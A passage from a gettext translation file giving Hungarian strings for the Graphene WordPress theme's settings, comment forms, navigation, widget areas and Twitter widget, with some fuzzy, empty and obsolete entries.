"Social Media name" msgstr "Közösségi oldal neve" #: admin/js/admin.js.php:50 msgid "Name of the social media, e.g. LinkedIn, etc." msgstr "Írd be az oldal nevét, pl.: Linkedin, Iwiw, stb" #: admin/js/admin.js.php:54 #, fuzzy msgid "Social Media title" msgstr "Közösségi oldal neve" #: admin/js/admin.js.php:57 msgid "Title for the social media, leave empty for generated title." msgstr "" #: admin/js/admin.js.php:61 msgid "Social Media profile URL" msgstr "Közösségi oldalon található profil URL-je" #: admin/js/admin.js.php:64 msgid "URL to your page for the social media." msgstr "A profiloldal URL címe." #: admin/js/admin.js.php:68 msgid "Social Media icon URL" msgstr "Közösségi oldal ikonjánek URL-je" #: admin/js/admin.js.php:71 #, php-format msgid "URL to the social media icon. Note: the theme uses the %s icon set for the social media icons. Please do not hotlink the icons on the site. Download the icons you need and upload them to your server instead." msgstr "" #. translators: %1$s is the comment date, %2$s is the comment time #: includes/theme-comments.php:34 #, php-format msgid "%1$s at %2$s" msgstr "%1$s , %2$s" #: includes/theme-comments.php:36 msgid "Edit comment" msgstr "Hozzászólás szerkesztése" #: includes/theme-comments.php:40 msgid "Reply" msgstr "Válasz" #: includes/theme-comments.php:51 msgid "Your comment is awaiting moderation." msgstr "A hozzászólás moderációra vár." #: includes/theme-comments.php:76 msgid "Name:" msgstr "Név:" #: includes/theme-comments.php:81 msgid "Email:" msgstr "Email:" #: includes/theme-comments.php:86 msgid "Website:" msgstr "Honlapcím:" #: includes/theme-comments.php:100 msgid "Message:" msgstr "Üzenet:" #: includes/theme-functions.php:72 #, php-format msgid "Follow %s on Twitter" msgstr "Kövesd %s a Twitteren!" #: includes/theme-functions.php:75 #, php-format msgid "Visit %s's Facebook page" msgstr "Látogasd meg a %s's Facebook oldalát" #: includes/theme-functions.php:97 #, php-format msgid "Visit %1$s's %2$s page" msgstr "Látogasd meg %1$s prfilját a %2$s közösségi oldalon" #: includes/theme-loop.php:85 msgid "Continue reading »" msgstr "Tovább... »" #: includes/theme-loop.php:137 msgid "Older posts «" msgstr "Régebbi bejegyzések «" #: includes/theme-loop.php:138 msgid "» Newer posts" msgstr "» Újabb bejegyzések" #: includes/theme-loop.php:140 msgid "Next page »" msgstr "Következő oldal »" #: includes/theme-loop.php:141 msgid "« Previous page" msgstr "« Előző oldal" #: includes/theme-loop.php:221 msgid "<strong>ERROR: You must supply the post ID to get the image from as an argument when calling the graphene_get_post_image() function.</strong>" msgstr "<strong>HIBA: meg kell adnod a bejegyzés ID azonosítóját ahhoz, hogy a képet meg tudja hívni a graphene_get_post_image() szkripttel.</strong>" #: includes/theme-menu.php:65 msgid "Home" msgstr "Kezdőoldal" #: includes/theme-panes.php:93 msgid "Read more" msgstr "Olvasd tovább" #: includes/theme-setup.php:90 msgid "Header Menu" msgstr "Fejléc menü" #: includes/theme-setup.php:91 msgid "Secondary Menu" msgstr "Másodlagos menü" #: includes/theme-setup.php:92 #, fuzzy msgid "Footer Menu" msgstr "Lábrész beállításai" #: includes/theme-setup.php:125 msgid "Header image by Syahir Hakim" msgstr "A fejléc képet Syahir Hakim készítette" #: includes/theme-setup.php:129 msgid "This is the default Graphene theme header image, cropped from image by Quantin Houyoux at sxc.hu" msgstr "Ez a Graphene sablon alapértelmezett fejlécképe, az eredeti képet Quantin Houyoux készítette (sxc.hu)" #: includes/theme-setup.php:133 #: includes/theme-setup.php:137 #: includes/theme-setup.php:141 #: includes/theme-setup.php:145 #: includes/theme-setup.php:149 msgid "Header image cropped from image by Ilco at sxc.hu" msgstr "A fejlécképet Ilco készítette (sxc.hu)" #: includes/theme-setup.php:204 msgid "Sidebar Widget Area" msgstr "Elsődleges oldalsó Widget terület" #: includes/theme-setup.php:206 #, fuzzy msgid "The first sidebar widget area (will always be displayed on the right hand side)." msgstr "Az 1. oldalsó Widget terület, ami csak a kezdőlapon látszik." #: includes/theme-setup.php:213 msgid "Sidebar Two Widget Area" msgstr "Oldalsó 2. Widget terület" #: includes/theme-setup.php:215 #, fuzzy msgid "The second sidebar widget area (will always be displayed on the left hand side)." msgstr "Csak a kezdőlapon látható 2. oldalsó Widget terület." #: includes/theme-setup.php:222 msgid "Footer Widget Area" msgstr "Lábrész Widget terület" #: includes/theme-setup.php:224 msgid "The footer widget area. Leave empty to disable. Set the number of columns to display at the theme's Display Options page." msgstr "Lábrész Widget terület. Hagyd üresen, ha nem akarod használni. Az oszlopszámokat a sablon Kinézet beállításai menüben tudod megadni." #: includes/theme-setup.php:239 msgid "Front Page Sidebar Widget Area" msgstr "Kezdőoldal oldalsó Widget területe" #: includes/theme-setup.php:241 msgid "The first sidebar widget area that will only be displayed on the front page." msgstr "Az 1. oldalsó Widget terület, ami csak a kezdőlapon látszik." #: includes/theme-setup.php:248 msgid "Front Page Sidebar Two Widget Area" msgstr "Kezdőoldal 2. oldalsó Widget területe" #: includes/theme-setup.php:250 msgid "The second sidebar widget area that will only be displayed on the front page." msgstr "Csak a kezdőlapon látható 2. oldalsó Widget terület." #: includes/theme-setup.php:259 msgid "Front Page Footer Widget Area" msgstr "Kezdőoldal lábrészének Widget területe" #: includes/theme-setup.php:261 msgid "The footer widget area that will only be displayed on the front page. Leave empty to disable. Set the number of columns to display at the theme's Display Options page." msgstr "A lábrész Widget területe, ami a kezdőlapon látható csak. Hagyd üresen, ha nem akarod használni. Az oszlopszámokat a sablon Kinézet beállításai pontban tudod megadni." #: includes/theme-setup.php:271 msgid "Header Widget Area" msgstr "Fejrész Widget területe" #: includes/theme-setup.php:273 msgid "The header widget area." msgstr "A fejlécben található Widget terület." #: includes/theme-setup.php:290 #, php-format msgid "Dynamically added widget area. This widget area is attached to the %s action hook." msgstr "" #: includes/theme-slider.php:115 #: includes/theme-slider.php:143 msgid "View full post" msgstr "Tovább a teljes cikkhez" #: includes/theme-widgets.php:14 msgid "Display the latest Twitter status updates." msgstr "Az utolsó Twitter bejegyzés(ek) mutatása." #: includes/theme-widgets.php:46 #, fuzzy msgid "Loading tweets..." msgstr "utolsó tweet-ek" #: includes/theme-widgets.php:50 msgid "Follow me on Twitter" msgstr "Kövess a Twitteren!" #: includes/theme-widgets.php:60 msgid "follower" msgstr "" #: includes/theme-widgets.php:61 msgid "followers" msgstr "" #: includes/theme-widgets.php:93 msgid "Latest tweets" msgstr "utolsó tweet-ek" #: includes/theme-widgets.php:100 msgid "Title:" msgstr "Cím:" #: includes/theme-widgets.php:104 msgid "Twitter Username:" msgstr "Twitter felhasználónév:" #: includes/theme-widgets.php:108 msgid "Number of tweets to display:" msgstr "A megjelenítendő tweet-ek száma:" #: includes/theme-widgets.php:112 msgid "Show followers count" msgstr "" #: includes/theme-widgets.php:116 msgid "Open links in new window" msgstr "" #~ msgid "% comments" #~ msgstr "% hozzászólás" #~ msgid "% pings" #~ msgstr "% visszakövetés" #~ msgid "Valid XHTML 1.0 Strict" #~ msgstr "Valid XHTML 1.0 Strict" #~ msgid "Valid CSS" #~ msgstr "Valid CSS" #~ msgid "Valid CSS Level 2.1" #~ msgstr "Valid CSS Level 2.1" #~ msgid "%1$s uses %2$s theme by %3$s." #~ msgstr "%1$s a %2$s sablont használja, készítette %3$s." #~ msgid "says:" #~ msgstr "írta:" #~ msgid "" #~ "The first sidebar widget area (available in two and three column layouts)." #~ msgstr "" #~ "Elsődleges oldalsó Widget terület (a 2 és 3 oszlopos elrendezésnél " #~ "használható)." #~ msgid "" #~ "The second sidebar widget area (only available in three column layouts)." #~ msgstr "" #~ "Másodlagos oldalsó Widget terület (csak a 3 oszlopos elrendezésnél " #~ "használható)." #~ msgid "" #~ "URL to the social media icon. <strong>Note:</strong> the theme uses the %" #~ "s iconset for the social media icons." #~ msgstr "" #~ "Az ikon elérhetőségének URL címe. <strong>Figyelem:</strong> a sablon a %" #~ "s ikonkészletét használja." #~ msgid "by" #~ msgstr "szerző:" #~ msgid "<div class=\"link-pages\"><p><strong>Pages:</strong> " #~ msgstr "<div class=\"link-pages\"><p><strong>Oldalak:</strong> " #~ msgid "" #~ "Import and export is only available for to users with PHP version 5.2.1 " #~ "and higher. You are using PHP version %s." #~ msgstr "" #~ "Import és export csak PHP ver. 5.2.1 vagy újabb verzió esetében " #~ "használható. A jelenlegi PHP verziód: %s." #~ msgid "URL to your profile page for the social media." #~ msgstr "A közösségi oldalon lévő profil URL címe." #~ msgid "Show post author's gravatar" #~ msgstr "Szerző gravatar képének mutatása" #~ msgid "Visit Facebook page" #~ msgstr "Ugrás a Facebook oldalra" #~ msgid "No comment yet" #~ msgstr "Még nem szóltak hozzá" #~ msgid "No ping yet" #~ msgstr "Még nincs visszakövetés" #~ msgid "Feed Options" #~ msgstr "Hírcsatorna beállítások"